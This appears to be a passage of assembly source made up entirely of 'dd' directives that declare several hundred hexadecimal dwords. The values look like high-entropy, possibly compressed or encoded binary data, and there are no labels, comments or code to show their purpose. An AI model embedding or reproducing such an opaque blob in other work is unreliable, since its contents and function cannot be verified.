dd 37842A93h, 0E500D14h, 4B4A4847h, 4E4D4C02h, 534705FFh
dd 585737C0h, 0A056005Ah, 454104ECh, 4F1C6A49h, 6301B811h
dd 68676664h, 6C6B80EBh, 0AF6E5A6Dh, 74052F00h, 17A7877h
dd 61200176h, 606F6965h, 9160B998h, 0C4A010DCh, 0A7AC0022h
dd 0C6E80901h, 740E84AAh, 0E0315132h, 71B09840h, 9EB0FFh
dd 0C8101101h, 30912009h, 44312200h, 2F388C34h, 69070041h
dd 33E8C79Ah, 0B001E90Fh, 19F3F0F2h, 4520A490h, 1D2B90B8h
dd 0C0F822D4h, 3C45581Ch, 741724DEh, 30408C48h, 0ECD444BCh
dd 59040288h, 34121881h, 6420FA8Eh, 94227C91h, 0FFA84407h
dd 0C9001F7Eh, 0C1BD8Dh, 9B382F3Fh, 6B707AFEh, 4B3E1D00h
dd 0AF51C049h, 391A1CB6h, 931500F4h, 1B926CB0h, 5B78B424h
dd 95553B00h, 708436F7h, 86B8E4h, 0CE0D4AD2h, 0F501DD09h
dd 0E3CD5300h, 601DB413h, 0F820006Ch, 0A4225027h, 24009B03h
dd 41659885h, 0F95018Fh, 728409E8h, 70589907h, 4070084Ch
dd 8900737Fh, 0C5FF1C88h, 7CA3F003h, 75C80021h, 0A43110BEh
dd 0A67EE408h, 1933D001h, 70EC09E0h, 0BA740D4h, 0F849CCC8h
dd 90D7A287h, 0AD0A802Ch, 4A96C06h, 3E60A5FEh, 248EA838h
dd 68E35409h, 84B87412h, 0B5A89048h, 0C80345B8h, 964C033h
dd 0EB32EB21h, 4442E83Ch, 0B35A0350h, 0D2C08A24h, 3E08B590h
dd 152981Eh, 3020779h, 6020504h, 0A266007h, 0D0C0E0Bh
dd 10400E0Fh, 7894389Ch, 0A403BEBAh, 0C401811h, 0C40B99B4h
dd 7BD02620h, 310D248Dh, 105C030Eh, 0E09B0E34h, 2001C0ACh
dd 90E61294h, 0A8021376h, 1A6C3616h, 9C2D6019h, 1F401C80h
dd 7022C184h, 0F77811CCh, 0A024B1D7h, 0C826E488h, 7A279924h
dd 20192801h, 6E8954D9h, 3B003160h, 10012E34h, 3C033F1Eh
dd 0E0EC118Fh, 0B0023308h, 34483E22h, 2F6892h, 2C36317Dh
dd 9009937h, 0C1399032h, 1EC4023Bh, 0C0B4063Dh, 5C874C3Eh
dd 400C8CCh, 0B15A448Bh, 37714B0h, 639C1864h, 0E9B03038h
dd 311FDC73h, 700019D4h, 785DD9BEh, 0F284E89Eh, 20AE0004h
dd 79CC6398h, 0C4CA2E4h, 4411003Fh, 399C5676h, 995C3A66h
dd 6C5D798Fh, 0D1F5DDC2h, 0A1E05760h, 3652400h, 0C4793310h
dd 4807519h, 0DC592CB1h, 12218022h, 422486E0h, 0D200B088h
dd 5C809219h, 9300053h, 3C247214h, 89161260h, 6003992Ch
dd 0A8A5D481h, 0E2195C2Eh, 442000Ch, 9948515Ah, 0D07411BCh
dd 0F9C4B93Ah, 26D9A500h, 65193440h, 5809007Ch, 0D4889C12h
dd 0A000941Ch, 604A90EAh, 366AC2Ah, 41500998h, 8DC057F7h
dd 0D9F82808h, 49145900h, 9FB4298Ch, 3C313E33h, 2060A987h
dd 4C7470C9h, 441F6FF4h, 54C1D939h, 91282999h, 0F0C2C07Bh
dd 250CA49Eh, 129CC419h, 32BF00E0h, 0A514387Bh, 1B584CACh
dd 69C6015Ah, 885BC33h, 1134F8h, 0D8A4F904h, 1C94A9DCh
dd 4C619901h, 49883C09h, 0C9083F2h, 4BFBE8D9h, 20460079h
dd 66107A30h, 2C3A51E4h, 3FB4C841h, 6875F45Ch, 58037FB0h
dd 94D31287h, 549A0E60h, 5CE090B0h, 0B466B896h, 6C61A973h
dd 0CC5211ECh, 3106730h, 94B059F2h, 70C00C84h, 2390B199h
dd 995AC00h, 74329CDCh, 258C0261h, 20D84C2Ch, 90A4B740h
dd 0C6FC9600h, 786A59C0h, 0D7011E41h, 1B7257Ch, 5BEAC55h
dd 91934C87h, 70539190h, 1800869Eh, 0AC562096h, 0FA5EC814h
dd 9EF205C0h, 807CD024h, 8FEC978Dh, 110088F8h, 0EE1920Ch
dd 2C0298h, 9A4E203Eh, 9CC8B047h, 0DAF13CC0h, 2C08019Bh
dd 3F961E93h, 1EC41093h, 0FA1887ADh, 995AF0B1h, 93E7031h
dd 24A08088h, 91D448B8h, 0F22202E2h, 400CFE44h, 32896A60h
dd 2425127Fh, 9FA07554h, 0A290447Eh, 0C8FEB4FEh, 0F0FEDEFEh
dd 9520B81Fh, 3BCF74BDh, 0C04CCF3Eh, 22749158h, 8196FE86h
dd 0BFC0FDAEh, 0BFDEBFEAh, 2BFC89EEh, 1973870Ah, 0C03611D2h
dd 302944CAh, 807D1452h, 5B89053h, 0C20CAC7Dh, 28E489D4h
dd 41400F4h, 268C1C97h, 27B83411h, 4C00427Eh, 64445822h
dd 0C020A672h, 0B889A884h, 2430CC12h, 9823BFE0h, 111C1819h
dd 223A522Ch, 5E444A05h, 3BC0897Ah, 0FB424A4h, 0D491C448h
dd 0F0E0E2EFh, 991688FEh, 1226810Ch, 5CF53Ah, 82226E91h
dd 89AA9844h, 0CA54BA7Fh, 0FEFEF297h, 9A0C100Ch, 0B329422h
dd 0AC468A40h, 96C5A80h, 107DA686h, 89BAA805h, 0D19013CAh
dd 259BE0F0h, 7F800E81h, 914E483Ah, 6E03607Fh, 898C8044h
dd 0F8AEFB9Ch, 70154C8h
dd 0BF08E429h, 1E11C023h, 0AEA22C32h, 4F64EDA4h, 3E7E2C74h
dd 0A612009Ah, 3430B025h, 7200656Bh, 6C076E73h, 2E3233h
dd 10D45E64h, 7487473Eh, 0C9789Dh, 0E66ECE1Eh, 1C0C6854h
dd 49646117h, 446DD300h, 0F83046h, 69757243h, 617B63E4h
dd 0EB537E00h, 6E6F108Ch, 0CA4C2E31h, 56170067h, 7EDA45E0h
dd 1895B000h, 27B6499Dh, 7AFC0124h, 566735A5h, 75EC43F7h
dd 0EC46FE00h, 41A20E34h, 6F960382h, 0D5E8C663h, 19DA1CD0h
dd 0A6001AF4h, 0CA51742Ah, 1079E4h, 64695706h, 61683EBCh
dd 0D0548325h, 1D6C00F1h, 287942B8h, 0C03AE34h, 98212ED5h
dd 7773F02Dh, 0DAA00074h, 4CE1416Eh, 3E00630Ch, 87FD7970h
dd 17AD23Dh, 18740648h, 0CB726269h, 612445F1h, 32E9CCB4h
dd 899B1D00h, 531223EDh, 88BA0097h, 0AE27094h, 417C6F66h
dd 72504300h, 64713E7Bh, 735200CEh, 4DC73634h, 8700FA6Fh
dd 61488E3Fh, 0CF96Eh, 18144F41h, 4E086946h, 6D0057F8h
dd 565A5216h, 0F412544Dh, 459403A0h, 0E4A6DC72h, 6DD35390h
dd 0A3938E00h, 3552A59Ah, 751B3F25h, 2C0E1900h, 0ED08BE64h
dd 4D18B0E8h, 419C426Ah, 0FA730032h, 0D33EC72Ah, 9900569Dh
dd 0A98A5724h, 0F19B080h, 0A6686E55h, 46B2E7C0h, 440E703Ch
dd 0C033DA99h, 145374A4h, 501A0926h, 0B800946Fh, 4F5C4562h
dd 3D9A6600h, 8CFFE0C3h, 0D4770082h, 1F490CD3h, 7B041857h
dd 52F0ABF3h, 0A23066C0h, 90C6B864h, 2DA100A0h, 227AD153h
dd 79288A4Eh, 6D0096BCh, 0E97E6954h, 0F8C44F1Eh, 43220070h
dd 38527A4Bh, 0D47194D9h, 75CC4900h, 0CA9B7214h, 324B0367h
dd 0BE406279h, 3AA664D0h, 3501917Dh, 6EEF05EEh, 4DE80A67h
dd 619E00FFh, 6F428ABAh, 0A6024878h, 7D4E9F11h, 0C80943B6h
dd 3F29767Bh, 4AA46970h, 326700F2h, 9143565Ch, 20E4D00h
dd 9A4F29D9h, 0C06E39A6h, 21D41300h, 8723DB89h, 58A7A00h
dd 29747561h, 70B50740h, 80A00DE4h, 0C4F0A9C3h, 2C0E66F4h
dd 0A0986F16h, 64534977h, 7F9A0028h, 3905E4Ch, 0B009ADACh
dd 844DE965h, 0BBC7E5B0h, 458C02Eh, 0A525D4h, 548FCC8Ah
dd 542849Ah, 9100B8E8h, 591B470Eh, 15DA4Eh, 677A66C5h
dd 2A1749AAh, 9FE1B400h, 24125628h, 0DE4C3F41h, 0ED641400h
dd 60934092h, 0E2CF5300h, 70476D75h, 54F6006Ah, 0EF5210B9h
dd 536EC558h, 4C11A07Ah, 3D0A599Ch, 3B9D3351h, 90084150h
dd 0C463CADEh, 772636B7h, 0A500C571h, 0C105C91Ch, 0F9D0075h
dd 0C4D42873h, 42EC49C3h, 889022EEh, 0B4745900h, 0AC62E499h
dd 322100F2h, 10946BF3h, 0EA7404B1h, 1E184CECh, 0A956F5F6h
dd 134900B5h, 6D0ECCC7h, 330114F2h, 5622D687h, 0E0403141h
dd 149738Bh, 0A85D261Dh, 0E4DC3DA5h, 8D01E5BCh, 0CE4E456Eh
dd 12D4EDBAh, 8ACB0095h, 8B4428EAh, 91E7658h, 0FCA4D5h
dd 0CC6B1E84h, 73F70DAh, 41256361h, 0F22EC097h, 5D005051h
dd 93C077A2h, 0F4431923h, 219B0FE7h, 4480587Ah, 696F76FCh
dd 24DF3E00h, 5288369Eh, 7E6C755Dh, 339300ECh, 29E93F26h
dd 0A2309C41h, 9DF4085Ch, 62450F5Ah, 0A5A3A7C8h, 0DFE8E51Ah
dd 53092084h, 8002574Ah, 0E65477DCh, 12A7075Bh, 0FF825014h
dd 6C440580h, 0D5004967h, 252366EDh, 38699FA0h, 9480B970h
dd 0A276B444h, 0D1FC426h, 0BC0315AEh, 0D0D8EF5Ah, 2A2B78h
dd 1E324693h, 8FA6C241h, 6200CAE4h, 0D3EEA4EBh, 2658664h
dd 57E08A63h, 0FD80D484h, 70412032h, 2990A605h, 41C0BAACh
dd 9C9BA8h, 672A3EC8h, 1BB9D40Ch, 26240AB8h, 2B033D6Dh
dd 0A3144EADh, 0EA5DA895h, 77F7958h, 3250F10Dh, 88222031h
dd 0B41D2CD4h, 0F3E63CA1h, 60BC1207h, 6D804795h, 3A644Fh
dd 0F3EC4CA8h, 3795CD77h, 2A1D7600h, 1268C6DEh, 4878D8h
dd 412C5357h, 6C42AA43h, 7A00C4E4h, 2D9A2592h, 1849F9h
dd 1459A361h, 5C6521BAh, 8E1D680Bh, 0D025000Ah, 7D6FAB26h
dd 981A0C7Dh, 868B1A5h, 1FD6B701h, 2552EB7Eh, 858630h
dd 18547078h, 0DE6E95C4h, 7568CE03h, 0C00948F2h, 1557B8h
dd 203D3251h, 0D501299Ch, 1A55B70h, 7000F4D7h, 6E48E010h
dd 70801h, 2C270C30h, 3C673847h, 0A7408700h, 0E748C744h
dd 0E850E44Ch, 0F062EC54h, 0F872F46Ah, 0FC82FC7Ah, 0FC92FC8Ah
dd 0FCA2FC9Ah, 0FCB2FCAAh, 0FCC2FCBAh, 0FCD2FCCAh, 0FCE2FCDAh
dd 0FCF2FCEAh, 2E100FAh, 12C90A31h, 0D93D1AD1h, 0E92A0022h
dd 0F93AF132h, 0E84AE442h, 0F05AEC52h, 0F86AF462h, 0FC7AFC72h
dd 0FC8AFC82h, 0FC9AFC92h, 0FCAAFCA2h, 0FCBAFCB2h, 0FCEEFCE6h
dd 4FFEFCF6h, 96ACF8h, 7616740Eh, 327781Eh, 507C487Ah
dd 0BF90B87Eh, 3477071Ch, 80CD9D3Ah, 27263513h, 7E0479Ch
dd 55362161h, 7CD150C9h, 37000FD8h, 9A385E1Ch, 1DB79Dh
dd 1ECD9EC2h, 1FDF9FD5h, 0F300E974h, 0F390987h, 15471D27h
dd 0B43A6730h, 0AEC74E14h, 6E2A5C39h, 7A8978ACh, 7E9D7C95h
dd 7EAE7EA8h, 54C17EBBh, 0FCECA4DBh, 7EE14F6h, 1700E03Ah
dd 2E672847h, 0A70A3687h, 0DA57C740h, 9B14839Dh, 0C652CAh
dd 303B1AE1h, 0D17FC9h, 0E0BDD99Fh, 0DC723CCFh, 3D0F1C00h
dd 1D2E9D15h, 409E0037h, 549F4B1Eh, 6AE85B1Fh, 93F071ECh
dd 0F4F8ECF4h, 3E79870Ah, 0A2809697h, 143F0E61h, 0D12400C9h
dd 0E172D92Dh, 9107E97Bh, 0BBF9AFF1h, 0CF00C325h, 872083FBh
dd 8CC0007h, 3A309C3Bh, 1D00649Dh, 1E7D9E6Dh, 3A8B9F85h
dd 9B3B941Fh, 0A603A03Ch, 324FB992h, 0E6BC39h, 3118C3EEh
dd 3EFE971Eh, 5401488Eh, 73495C0Fh, 0C492F924h, 4600CA10h
dd 1CFC7E0Eh, 343202h, 761D589Dh, 8C1E869Eh, 1F949F0Eh
dd 87F980EEh, 3083302h, 21471827h, 0F0017267h, 93C789A7h
dd 0A1C999E7h, 0AD67CFD3h, 0BEA0B487h, 3465E1h, 0D1ABC98Dh
dd 0E0BFD9B7h, 72351900h, 7627741Fh, 6278014Ah, 3F368349h
dd 0D0C9C9B5h, 93000ED7h, 0A243B237h, 90AD38h, 0E46A3A1Dh
dd 0ECB9E8A9h, 0EDF0CF01h, 3B5003F4h, 69F12FE1h, 0EF3F0h
dd 663D4A3Ch, 0AE8E9A4Eh, 3E2CF00h, 93283E0Ah, 98A3036Bh
dd 0D3C3A1B3h, 11E0DC88h, 0AA393F00h, 850C62D4h, 498000C8h
dd 12A71DCCh, 5E07C735h, 998767E7h, 0FC1BF90h, 0C8533B31h
dd 0CF19ABC8h, 0D9338E74h, 7649D840h, 7F785400h, 0DF7C947Ah
dd 1CF2007Eh, 9D3C3406h, 52001D4Ch, 5E1E589Eh, 901F649Fh
dd 7873762Bh, 0F4915483h, 0F8BCFCB3h, 1B8700C3h, 39272035h
dd 673D4447h, 0A757004Ch, 0E76FC769h, 0A98EE475h, 0ABE1A6C5h
dd 9A24CDE9h, 9AE8FCE3h, 3604003Ch, 0D117C909h, 0CA00D9BEh
dd 503AFBE0h, 4080C4h, 0C3146C81h, 0A7934A92h, 0B2B6A301h
dd 643203CFh, 0C9E4ABE5h, 39BA00B3h, 0E05016D9h, 0FD1EE4E7h
dd 368040E8h, 0E6A12A56h, 76F20074h, 380B1CF9h, 32009D29h
dd 459E3E1Dh, 87E21Eh, 27B7398Eh, 61C547BEh, 0BF3A8400h
dd 723B0EC8h, 0EC7400B9h, 0AF3C051Ch, 3D008887h, 3E1821BAh
dd 0E0C953h, 9D9F8D1h, 0E83CC024h, 56EC4D00h, 50CB98F1h
dd 28C1206h, 345E00C3h, 0A33A9333h, 53B3441Eh, 67D35DC0h
dd 0F279E3h, 0A9C0A78Fh, 6093B0E4h, 0C4F3BD1Ch, 0D31DCB9Dh
dd 0E51EDC9Eh, 0F71FED9Fh, 1F0FB80h, 0E40535h, 920FE80Bh
dd 7C2C7A74h, 3B49361Dh, 4E543F8Eh, 0CF6B8E5Eh, 4F8A0F82h
dd 0CF9A8F92h, 0CFAACFA2h
dd 0C0C4CFB2h, 0D6012AF5h, 763B0074h, 7A687843h, 7E717C70h
dd 9E758473h, 0D279AF77h, 0F07DE77Bh, 0FA00F57Fh, 1B370D1Ch
dd 91D259Dh, 1E489E43h, 87675584h, 678647B5h, 0AF96878Eh
dd 9F1E1FF3h, 9FB61FAEh, 9FC69FBEh, 9FD69FCEh, 0A4E69FDEh
dd 80F61FFFh, 380687FEh, 1607270Eh, 26671E47h, 36A52EA0h
dd 46EE0E4Fh, 56404ECFh, 661A0FD6h, 76F46EF0h, 0CA0E7EF8h
dd 2E3FFC86h, 0AE9E6E96h, 2FAEEFA6h, 0AFBE6FB6h, 0CFCEEFC6h
dd 0CFDECFD6h, 0CFEECFE6h, 0EFEC1F6h, 4ECC3906h, 1E8E0016h
dd 2E0F26CFh, 8F00364Fh, 2746CB3Eh, 14E75638h, 0F466E55Eh
dd 7EF27603h, 0F9D92EC9h, 6406C8F4h, 0E8142C01h, 0F024EC1Ch
dd 0E1190DCh, 44FC3CF8h, 548E4C4Eh, 640F5CCFh, 748F6C4Fh
dd 20FD7CC0h, 94FC8C58h, 0A4FC9CFCh, 0B4FCACFCh, 903FBCF4h
dd 3FCC3FB0h, 3FDC3FD4h, 3EEC3FE4h, 40260F4h, 3A0C3B39h
dd 1C00143Ah, 2C3D243Ch, 3F77343Eh, 4CE844E4h, 5C7A1B92h
dd 6C7E647Ch, 7C7E747Eh, 8C7E847Eh, 9C7E947Eh, 0AC7EA47Eh
dd 0BC49B47Eh, 3FCC3F23h, 24DC05D4h, 4E87AAE4h, 487FC20h
dd 195B03Ch, 671C4714h, 602C8424h, 253CC93h, 7CFEC77Fh
dd 40E884E7h, 7ED492A3h, 0CE74BC72h, 0FE00CCFh, 80FA5FF4h
dd 7404723Dh, 140C7608h, 0BB481078h, 1C396548h, 3C3B2A3Ah
dd 643D5C3Ch, 6C3F683Eh, 743F703Fh, 2C64783Fh, 987C9280h
dd 0F9C04FE9h, 0F9C8F9C4h, 9FD0F9CCh, 0DC80D87Dh, 0EDEE059h
dd 1C3E0114h, 248B204Eh, 0A72CE427h, 34C43001h, 3CE75D87h
dd 0EC6CEC74h, 0F478F074h, 0FC80F87Ch, 0FC88FC84h, 0FC90FC8Ch
dd 0FCA4FC94h, 0FCCCFCC4h, 3ED4FCD0h, 3281D8E5h, 0F3E450C3h
dd 0F2ECC8E8h, 54690400h, 0D930D12Ch, 38E13934h, 4E405C92h
dd 4C884830h, 8815ABA9h, 0AF902AADh, 3F309849h, 91A422A0h
dd 49E0122Ah, 2E24E82Ch, 0F83093F0h, 8C99F0F7h, 130F6010h
dd 612501D4h, 51347882h, 0F96890F3h, 3090E488h, 0BA675274h
dd 0A4727E54h, 0AC76A874h, 0C05DB003h, 93E83F58h, 0B3F0A3ECh
dd 0D0F8C3F4h, 3970FCh, 83A0431h, 383C665Ch, 2E403D00h
dd 4C9F6844h, 4B500097h, 6EA7586Ch, 7054E760h, 9CEC98A6h
dd 0AAAAA0F0h, 0F9ACEEE1h, 0B81974B0h, 54B2C8FCh, 0F405F07Eh
dd 82D7F8E5h, 93043D80h, 0CA30008h, 20C310B3h, 500040D2h
dd 0B4C4A94h, 0EEA75496h, 60E5015Ch, 0F3688293h, 0D19CC97Ch
dd 0E1A8D9A4h, 0F2B0E8ACh, 4850B43Ah, 0D22C4862h, 0E0F82400h
dd 48045D33h, 3C00D7ACh, 0B2142E10h, 960E1C9Fh, 214F1720h
dd 60CF5C22h, 68D164C9h, 70E16CD9h, 78F00471h, 0AB7C07CBh
dd 12BC8732h, 2249C0E7h, 7C2426C8h, 0DC00D87Eh, 3974ECE6h
dd 4D3A1434h, 200B1018h, 5A8E243Dh, 0FDFF2C20h, 4873029Fh
dd 0DE70B5A1h, 0ED78ED61h, 0DF80F47Ch, 887E847Eh, 904AE0B8h
dd 0CFC0130Fh, 0CFCC8FC8h, 96D4C1D0h, 0E0CC4FD8h, 4CE472CFh
dd 782E5CE8h, 592400CCh, 0B35C9228h, 38F47F13h, 20B88F01h
dd 0DA2474BAh, 78CC927Ch, 7C8C7A88h, 98C3A090h, 0A01E0E0Fh
dd 0B840A4CFh, 5C61D8C9h, 488DE458h, 0C0FDB058h, 0E4140036h
dd 0ED3CE834h, 44095670h, 4F848F4h, 49D25094h, 419A4A58h
dd 0E2F1C688h, 0CDF8F9F9h, 718001B2h, 56775938h, 0FC6D7158h
dd 4104623Bh, 6ED16A40h, 976BEA0h, 7EF17AE9h, 2C869D61h
dd 818E259Fh, 582896A1h, 0CE605065h, 3093CA6h, 1A630A02h
dd 0A2607083h, 0DB0092A8h, 4A904926h, 0AD9AFD1h, 320AE0E4h
dd 0A748009Fh, 81331C50h, 0F9B9D07h, 36A034B5h, 4F274Ah
dd 1ED35B45h, 50B0D2ABh, 0EF007EE0h, 3A0E215Dh, 388B3B65h
dd 9F00A72Eh, 4B0216D8h, 273347F2h, 0F08282E6h, 0DCC7BCh
dd 713905E1h, 0B5D19CC9h, 64C2D901h, 3F8EAAEh, 0E41E3AF4h
dd 2B0E0058h, 704E6B3Bh, 0CF00788Eh, 21B30BA2h, 613C7150h
dd 0D8A5437Fh, 5DDE302Eh, 76B07403h, 0C3CE98EAh, 0C269C347h
dd 7ACD6077h, 9D7C2696h, 0C84D0B16h, 0C0EB6084h, 72F2512h
dd 47780203h, 989B6787h, 12AEFEh, 940CF188h, 30050708h
dd 0D824A509h, 805489E0h, 0CF3ABD28h, 3219010Eh, 8E3F4E2Bh
dd 0FB7E48Bh, 0FB4FEC00h, 26330A83h, 0A25F0093h, 86C6496Dh
dd 0F10B8EE9h, 2C8A2C9Dh, 0ECB78E86h, 0C2242EBDh, 9DCF1C69h
dd 9EDA1DD5h, 9FE51EE0h, 0F017EBh, 3403876Fh, 2A0F2421h
dd 0C45385h, 0F85056A0h, 1C960055h, 0CE4F6712h, 8272CF79h
dd 0B100A874h, 1A62BAC9h, 2C640h, 9224B35h, 0A4216618h
dd 11360800h, 6A24CCC9h, 3739000Bh, 3B343A19h, 58733C3Dh
dd 7E3E6B04h, 3880873Fh, 707B525h, 0EBE7DD0Ah, 223850E1h
dd 610F2BC9h, 5D4DD95Dh, 0F17FE940h, 3DB0F9A1h, 0FC288C24h
dd 0B12E2F6h, 2A3B223Ah, 473D2580h, 1C1F6424h, 52563284h
dd 0EC6D8E00h, 7BF073h, 0C0F880F4h, 0C85D9EBAh, 0D02EA000h
dd 4BD897A2h, 0A5E000A4h, 0A8D2E8A6h, 0AA00E9F0h, 0C2AC75F8h
dd 7A926EE3h, 10B00008h, 0BA18B274h, 20005DB4h, 0B8282EB6h
dd 0F64B3097h, 0BCA50038h, 48BED240h, 500FC0E9h, 0C058C274h
dd 0C6605DC4h, 0C868002Eh, 0CA4B7097h, 0CC01A578h, 88CED280h
dd 5761D0E9h, 0BA98DCh, 0D6A05CD4h, 0B8CBB0CFh, 0C8D89900h
dd 0DA73D0F9h, 2EE0003Fh, 0F867DCE8h, 3C010BEEh, 0D910DE91h
dd 2CFC7318h, 2EE10028h, 0E54067E2h, 0E44CCC48h, 0B960092Dh
dd 97A980E6h, 0EE83378h, 0EA90F288h, 0A0CC4120h, 0ACE4A8F9h
dd 0B8ECB4E8h, 0C4F4C0F0h, 827EFFF9h, 0AA3CD805h, 9D82E43Fh
dd 0EB75602Eh, 99FA00ABh, 24E920F8h, 210B2CF1h, 8B38F9F2h
dd 500990ACh, 1FC4009Eh, 8960925Ch, 4012806h, 1102214Ah
dd 4FF0FF3Eh, 780A0070h, 4E5B7A57h, 0FA16095Fh, 5001A1BBh
dd 97C9893Fh, 0C60434h, 0C32DAE1h, 88609020h, 300B0F00h
dd 48493327h, 0EA3B00D6h, 0E8ADF2Ch, 13F68D35h, 67A8A707h
dd 86317247h, 9BE49187h, 0D3A603C4h, 0C5F3BAB0h, 0DAA0CF93h
dd 6A00E4F2h, 424C0B8h, 0E4937h, 3C233BBEh, 4102672Dh
dd 0E74BC70Eh, 8E5F4E55h, 73CF69h, 0D39BF485h, 0F3AF12CEh
dd 0CCB3C3B9h, 0F7C0D1B3h, 382C1BF0h, 96050A27h, 8C8003C0h
dd 0E53A0Fh, 28798A1h, 27CB3BBFh, 0EA47D800h, 193C9D61h
dd 3E560060h, 0E974B272h, 8A003750h, 3F62E1A0h, 15D0770h
dd 75312E30h, 0FCD31524h, 5213A24Bh, 760088E9h, 342B50E0h
dd 356D001Ch, 0DDBF5C36h, 0D8005DCBh, 6144EADEh, 1E09537h
dd 60EDF332h, 0C09C482Ch, 8700FB1Dh, 249F394Eh, 1E16C4E5h
dd 4083FAF0h, 1525F33Bh, 1C3E2E84h, 0A6828095h, 7AFE50ADh
dd 0E87C00D0h, 184A3EE0h, 4900E60Eh, 550BF1CFh, 0E940427h
dd 0C964B047h, 0A41B78E0h, 303C810Fh, 0D14F8006h, 3D60286Bh
dd 170E00E3h, 2F491F31h, 6E014841h, 863EAE68h, 0C0C48B2Dh
dd 0FA50BF07h, 100E4E2h, 0E86C18A0h, 0E2ECA3h, 22F4FDF0h
dd 3A3E3339h, 983B8000h, 0EE3DB33Ch, 3409000Eh, 0E14A492Eh
dd 0D2E6943Eh, 0F1D7E904h, 80C060EAh, 7DA15B72h, 0BD903AAh
dd 8D3ACA6Ch, 9F379600h, 0D78EB84Eh, 12F03DCFh, 43F100F0h
dd 936D391Dh, 9901A392h, 7470CCB2h, 45CC3672h, 78981C76h
dd 805CF4E2h, 87E38C78h, 4E3C8000h, 313D1642h, 0D4B40249h
dd 1B097E6Ch, 64610040h, 0FFD9FA01h, 0D8C082E3h, 2496E0h
dd 8430170Bh, 38A0DE3Bh
dd 0E8FF3Dh, 1DF612F2h, 0FE27FAh, 0F437B02Dh, 0B25AF849h
dd 734A6601h, 0E2922E09h, 0CA54B07Ah, 3AD5F939h, 0FBFA00E7h
dd 28203581h, 48A8001Ch, 504F7AB2h, 5801BA09h, 14642641h
dd 1D6424A6h, 3F6098ACh, 2C13B4C9h, 3C2503BCh, 25903FCCh
dd 2A0014ECh, 0AEB00472h, 4A0C76h, 18320F10h, 20CF1C8Fh
dd 284C9DE5h, 34C82C81h, 60C85C9Fh, 0C2640093h, 0F0786CEEh
dd 5E75747Eh, 0E18088C0h, 72F988F6h, 7690748Ch, 0D39C7894h
dd 0C8630080h, 0FCD0E864h, 0B892D400h, 0E04DDC7Eh, 67983Ah
dd 1007EC2Dh, 0E4F8E7F4h, 42D3FC00h, 0A22C9324h, 2E91C30h
dd 0F13CC038h, 6844F940h, 66011C4Eh, 10542E50h, 5CA05344h
dd 0F498F090h, 1F52949Ch, 9FA89FA4h, 92B085ACh, 0BCA203B4h
dd 5AF1C0C9h, 0F3FF31C8h, 0DCEBF0C9h, 10010F1Bh, 83840B3Ah
dd 0DC42C29h, 3D604D1h, 803E873Ch, 5869A02Bh, 0C5E1BF00h
dd 0D2F1CEE9h, 0FEBC7E38h, 0F3EE1EBAh, 3F0280F2h, 66013142h
dd 0C8986C00h, 37DEFB50h, 741A0172h, 0D7C4A78h, 69B03084h
dd 0D62D8A0Fh, 0EBFB0007h, 5407849h, 0F03C6E68h, 4BC68070h
dd 0E7B0212Dh, 0B745AB03h, 98D662D3h, 2DEFE2E3h, 6F004EE8h
dd 0F8895961h, 587E3C5Ch, 7E5C59h, 3D0283DDh, 0AB9322h
dd 0A73E19A0h, 27E8CAE4h, 33033FE2h, 67521687h, 0A593A873h
dd 700827B5h, 0E000E674h, 0C77230F8h, 68D4004Dh, 5731130Eh
dd 0C1016349h, 0B3E182A2h, 7F49038h, 4E560032h, 331883D7h
dd 88739250h, 0B300667Ah, 8FD2300Fh, 0FBCFE6h, 0EC2708C9h
dd 0E0224418h, 0B62C4BE4h, 9F005CAAh, 836F9769h, 0F39D1C6Ch
dd 0F2AD80A7h, 4A0AF8B8h, 3C3EC57Dh, 0BFD9BFD3h, 51ECBBE1h
dd 0AA9D60C0h, 74077202h, 6015760Dh, 5217A74h, 2F7E297Ch
dd 0C0D11CCFh, 274BC945h, 0E7395DF6h, 0F4720065h, 8AF8927Eh
dd 0AEF20049h, 0FCBAEA24h, 13F8BCC2h, 1682DD01h, 49B8D8F8h
dd 583BDAD4h, 3D385225h, 0D64B2483h, 0C05E639Fh, 0F79E90Fh
dd 8F874F7Fh, 0C09DCF8Fh, 49B592A7h, 61C303CCh, 0D7F9D1B0h
dd 0E3A3DD93h, 0D06CF3B0h, 12E38h, 1E13E2A6h, 14FDC17h
dd 28823302h, 0F8508F38h, 39000A16h, 0C46EC31Ch, 163A18B0h
dd 10E4D1h, 142E8615h, 7F0B96EEh, 0D6BC83h, 0E4CF3D80h
dd 3E2D000Bh, 36740417h, 29029EB0h, 3A533F39h, 35E0FF5Fh
dd 44001C7Eh, 0F9C0C30h, 398595DBh, 8C80FF60h, 86B18284h
dd 44070292h, 0E15C1449h, 88F981AFh, 1670092Ah, 4F221D50h
dd 0A08EC798h, 33E190E0h, 3400C213h, 59EC4AC6h, 0E6195D6h
dd 72692CD8h, 50CEAEC0h, 2CB0AD84h, 52382700h, 0E05A3E05h
dd 92620026h, 5B6A7EBAh, 0EA090B72h, 0EC617Ah, 5FE98643h
dd 7BE0024h, 0FE4AC90h, 17FE13E8h, 0BA3E04B8h, 0D33E6782h
dd 0E01CD722h, 9D2730h, 92AA1DA6h, 89BE5EA7h, 2F2B3E02h
dd 60A414C0h, 1BD3A3Dh, 9425FF4h, 0EC51019Ch, 0A0006012h
dd 6CE868E6h, 0FC3108CEh, 32350087h, 33092139h, 0B100C90Dh
dd 5F343CD0h, 0F40B40h, 0C832E1C0h, 765E41EAh, 257AC90Bh
dd 0D3430462h, 0F8838580h, 0F6743FACh, 0B914FA80h, 1790BD38h
dd 80623900h, 793A7578h, 0E87D03E4h, 5D3B2659h, 0C3B8B4CBh
dd 0A300B734h, 3D43B0BBh, 207E49Fh, 3A1A3E48h, 2740240Fh
dd 1F71FAACh, 127E23ECh, 0C326161Dh, 0F3A2EF00h, 3A508084h
dd 5780BC08h, 8AB8AE30h, 3101430Bh, 0E1DA424Fh, 87CC7B9Ch
dd 0F19402E9h, 0BF3C34A6h, 0DE7459D8h, 997F500h, 7BBCC95Ah
dd 3C9100D9h, 3FAF3E6Ch, 0F3002DE7h, 0A012A205h, 0EC249Ah
dd 0F42CF028h, 0F2AAA338h, 2A680E0Bh, 96058347h, 713F898h
dd 12140037h, 3FB24BDCh, 5E006C24h, 0FC7778E0h, 88BE84h
dd 0CF39C307h, 0E147D627h, 0B8EB6400h, 3A080E40h, 4E7D1Ah
dd 3C703389h, 787C527Ah, 248E7E39h, 49000CBDh, 0E03A2CC7h
dd 0F5F2583Bh, 0A007D148h, 703D0E20h, 0D74BCB3Eh, 0F6542702h
dd 63A5FC87h, 0BC28F892h, 44F20E10h, 0D8C0A135h, 9D301411h
